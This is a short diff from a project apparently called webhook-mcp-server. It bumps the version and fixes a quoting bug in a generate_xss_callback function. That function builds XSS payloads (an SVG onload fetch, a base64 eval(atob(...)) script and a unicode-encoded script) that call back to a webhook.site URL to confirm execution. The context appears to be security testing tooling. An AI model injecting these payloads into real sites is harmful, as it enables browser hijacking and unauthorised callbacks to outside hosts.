File tree Expand file tree Collapse file tree 2 files changed +3
-2
lines changed
Expand file tree Collapse file tree 2 files changed +3
-2
lines changed Original file line number Diff line number Diff line change 11[project ]
22name = " webhook-mcp-server"
3- version = " 2.0.3 "
3+ version = " 2.0.4 "
44description = " MCP Server for webhook.site API integration with layered architecture"
55requires-python = " >=3.10"
66dependencies = [
Original file line number Diff line number Diff line change @@ -216,7 +216,8 @@ def generate_xss_callback(
216216 payloads ["svg" ] = f'<svg onload="fetch(\' { callback_url } ?xss=svg{ id_part } \' )">'
217217
218218 # Encoded variants
219- payloads ["base64" ] = f'<script>eval(atob("{ self ._base64_encode (f"fetch('{ callback_url } ?xss=b64{ id_part } ')" )} ")</script>'
219+ encoded_fetch = f"fetch('{ callback_url } ?xss=b64{ id_part } ')"
220+ payloads ["base64" ] = f'<script>eval(atob("{ self ._base64_encode (encoded_fetch )} "))</script>'
220221 payloads ["unicode" ] = self ._unicode_encode (f'<script>fetch("{ callback_url } ?xss=uni{ id_part } ")</script>' )
221222
222223 return ToolResult (
You can’t perform that action at this time.
0 commit comments